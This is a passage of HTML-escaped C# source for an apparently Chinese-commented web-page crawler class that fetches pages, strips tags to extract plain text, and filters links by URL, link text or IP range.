p;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;firstN&#34;&gt;提取从头数多少个字&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;withLink&#34;&gt;是否要链接里面的字&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;纯文本&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;string&nbsp;getFirstNchar(string&nbsp;instr,&nbsp;int&nbsp;firstN,&nbsp;bool&nbsp;withLink)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_outstr&nbsp;==&nbsp;&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;instr.Clone()&nbsp;as&nbsp;string;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;new&nbsp;Regex(@&#34;(?m)&lt;script[^&gt;]*&gt;(\w|\W)*?&lt;/script[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;).Replace(m_outstr,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;new&nbsp;Regex(@&#34;(?m)&lt;style[^&gt;]*&gt;(\w|\W)*?&lt;/style[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;).Replace(m_outstr,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;new&nbsp;Regex(@&#34;(?m)&lt;sel&#101;ct[^&gt;]*&gt;(\w|\W)*?&lt;/sel&#101;ct[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;).Replace(m_outstr,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!withLink)&nbsp;m_outstr&nbsp;=&nbsp;new&nbsp;Regex(@&#34;(?m)&lt;a[^&gt;]*&gt;(\w|\W)*?&lt;/a[^&gt;]*&gt;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase).Replace(m_outstr,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;objReg&nbsp;=&nbsp;new&nbsp;System.Text.RegularExpressions.Regex(&#34;(&lt;[^&gt;]+?&gt;)|&amp;nbsp;&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;objReg.Replace(m_outstr,&nbsp;&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;objReg2&nbsp;=&nbsp;new&nbsp;System.Text.RegularExpressions.Regex(&#34;(\\s)+&#34;,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;objReg2.Replace(m_outstr,&nbsp;&#34;&nbsp;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;m_outstr.Length&nbsp;&gt;&nbsp;firstN&nbsp;?&nbsp;m_outstr.Substring(0,&nbsp;firstN)&nbsp;:&nbsp;m_outstr;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此私有方法返回一个IP地址对应的无符号整数<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;x&#34;&gt;IP地址&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;uint&nbsp;getuintFromIP(IPAddress&nbsp;x)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Byte[]&nbsp;bt&nbsp;=&nbsp;x.GetAddressBytes();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint&nbsp;i&nbsp;=&nbsp;(uint)(bt[0]&nbsp;*&nbsp;256&nbsp;*&nbsp;256&nbsp;*&nbsp;256);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;(uint)(bt[1]&nbsp;*&nbsp;256&nbsp;*&nbsp;256);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;(uint)(bt[2]&nbsp;*&nbsp;256);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;(uint)(bt[3]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;公有文法<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此公有方法提取网页中一定字数的纯文本，包括链接文字<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;firstN&#34;&gt;字数&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;getContext(int&nbsp;firstN)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;getFirstNchar(m_html,&nbsp;firstN,&nbsp;true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此公有方法提取网页中一定字数的纯文本，不包括链接文字<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;firstN&#34;&gt;&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;getContextWithOutLink(int&nbsp;firstN)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;getFirstNchar(m_html,&nbsp;firstN,&nbsp;false);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此公有方法从本网页的链接中提取一定数量的链接，该链接的URL满足某正则式<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;pattern&#34;&gt;正则式&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;count&#34;&gt;返回的链接的个数&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;List&lt;Link&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;Link&gt;&nbsp;getSpecialLinksByUrl(string&nbsp;pattern,int&nbsp;count)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(m_links.Count==0)getLinks();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;&nbsp;SpecialLinks&nbsp;=&nbsp;new&nbsp;List&lt;Link&gt;();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;.Enumerator&nbsp;i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;m_links.GetEnumerator();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;cnt&nbsp;=&nbsp;0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(i.MoveNext()&nbsp;&amp;&amp;&nbsp;cnt&lt;count)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(new&nbsp;Regex(pattern,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;).Match(i.Current.url).Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SpecialLinks.Add(i.Current);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cnt++;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;SpecialLinks;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此公有方法从本网页的链接中提取一定数量的链接，该链接的文字满足某正则式<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;pattern&#34;&gt;正则式&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;count&#34;&gt;返回的链接的个数&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;List&lt;Link&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;Link&gt;&nbsp;getSpecialLinksByText(string&nbsp;pattern,int&nbsp;count)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_links.Count&nbsp;==&nbsp;0)&nbsp;getLinks();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;&nbsp;SpecialLinks&nbsp;=&nbsp;new&nbsp;List&lt;Link&gt;();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;.Enumerator&nbsp;i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;m_links.GetEnumerator();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;cnt&nbsp;=&nbsp;0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(i.MoveNext()&nbsp;&amp;&amp;&nbsp;cnt&nbsp;&lt;&nbsp;count)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(new&nbsp;Regex(pattern,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;).Match(i.Current.text).Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SpecialLinks.Add(i.Current);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cnt++;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;SpecialLinks;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;此公有方法获得所有链接中在一定IP范围的链接<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;_ip_start&#34;&gt;起始IP&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;_ip_end&#34;&gt;终止IP&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;Link&gt;&nbsp;getSpecialLinksByIP(string&nbsp;_ip_start,&nbsp;string&nbsp;_ip_end)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IPAddress&nbsp;ip_start&nbsp;=&nbsp;IPAddress.Parse(_ip_start);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IPAddress&nbsp;ip_end&nbsp;=&nbsp;IPAddress.Parse(_ip_end);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_links.Count&nbsp;==&nbsp;0)&nbsp;getLinks();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;&nbsp;SpecialLinks&nbsp;=&nbsp;new&nbsp;List&lt;Link&gt;();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;Link&gt;.Enumerator&nbsp;i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;m_links.GetEnumerator();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(i.MoveNext())<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IPAddress&nbsp;ip;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;Dns.GetHostEntry(new&nbsp;Uri(i.Current.url).Host).AddressList[0];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;{&nbsp;continue;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(getuintFromIP(ip)&gt;=getuintFromIP(ip_start)&nbsp;&amp;&amp;&nbsp;getuintFromIP(ip)&lt;=getuintFromIP(ip_end))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SpecialLinks.Add(i.Current);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;SpecialLinks;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;这公有方法提取本网页的纯文本中满足某正则式的文字<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name=&#34;pattern&#34;&gt;正则式&lt;/param&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;返回文字&lt;/returns&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;string&nbsp;getSpecialWords(string&nbsp;pattern)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_outstr&nbsp;==&nbsp;&#34;&#34;)&nbsp;getContext(Int16.MaxValue);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;regex&nbsp;=&nbsp;new&nbsp;Regex(pattern,&nbsp;RegexOptions.Multiline&nbsp;|&nbsp;RegexOptions.IgnoreCase&nbsp;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;mc=regex.Match(m_outstr);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(mc.Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;mc.Groups[1].Value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;string.Empty;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;构造函数<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;void&nbsp;Init(string&nbsp;_url)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_uri&nbsp;=&nbsp;new&nbsp;Uri(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_links&nbsp;=&nbsp;new&nbsp;List&lt;Link&gt;();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_title&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(_url.EndsWith(&#34;.rar&#34;)&nbsp;||&nbsp;_url.EndsWith(&#34;.dat&#34;)&nbsp;||&nbsp;_url.EndsWith(&#34;.msi&#34;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;rqst&nbsp;=&nbsp;(HttpWebRequest)WebRequest.Cr&#101;ate(m_uri);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.AllowAutoRedirect&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.MaximumAutomaticRedirections&nbsp;=&nbsp;3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;5.01;&nbsp;Windows&nbsp;NT&nbsp;5.0)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.KeepAlive&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.Timeout&nbsp;=&nbsp;30000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lock&nbsp;(WebPage.webcookies)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(WebPage.webcookies.ContainsKey(m_uri.Host))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.CookieContainer&nbsp;=&nbsp;WebPage.webcookies[m_uri.Host];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CookieContainer&nbsp;cc&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WebPage.webcookies[m_uri.Host]&nbsp;=&nbsp;cc;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.CookieContainer&nbsp;=&nbsp;cc;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;rsps&nbsp;=&nbsp;(HttpWebResponse)rqst.GetResponse();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs